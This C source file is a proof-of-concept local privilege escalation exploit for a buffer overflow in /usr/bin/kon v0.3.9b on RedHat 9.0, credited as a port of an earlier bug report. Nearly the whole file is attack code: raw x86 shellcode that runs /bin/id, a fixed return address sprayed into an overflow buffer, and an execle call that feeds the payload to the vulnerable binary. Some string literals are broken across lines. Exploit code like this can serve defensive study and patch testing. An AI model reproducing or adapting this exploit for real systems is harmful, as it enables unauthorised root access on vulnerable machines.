/*

* Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0

*

* http://www.mail-archive.com/bugtraq (at) securityfocus (dot) com [email concealed]/msg11681.html

*

* The original bug was found by wszx for RedHat 8.0 - Ported to C

*

* Compile: gcc -Wall kon2root kon2root.c

*

*/

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#define NOP 0x90

#define RET 0xbffffffa

#define VULN "/usr/bin/kon"

#define MAXBUF 800

static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07

\x89"

"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56

\x0c"

"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8

\xdc\xff"

"\xff\xff/bin/id";

int main()

{

int i, *egg;

long retaddr;

static char buff[MAXBUF];

static char *sploit[0x02] = { w00tI4r3l33t, NULL };

fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ]

\n", VULN);

fprintf (stdout, "[ Coded by c0ntex - http://62.31.72.168 ]\n");

fprintf (stdout, "[ For Linux RedHat v9 x86 - Ret_Addr

0xbffffffa ]\n\n\n\n");

if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) !

= 0x00) {

egg = (int *)(buff);

}

for(i = 0x00; i < MAXBUF; i += 0x04)

*(egg)++ = retaddr; *(egg) = NOP;

execle(VULN, VULN, "-Coding", buff, NULL, sploit);

return(0x00);

}

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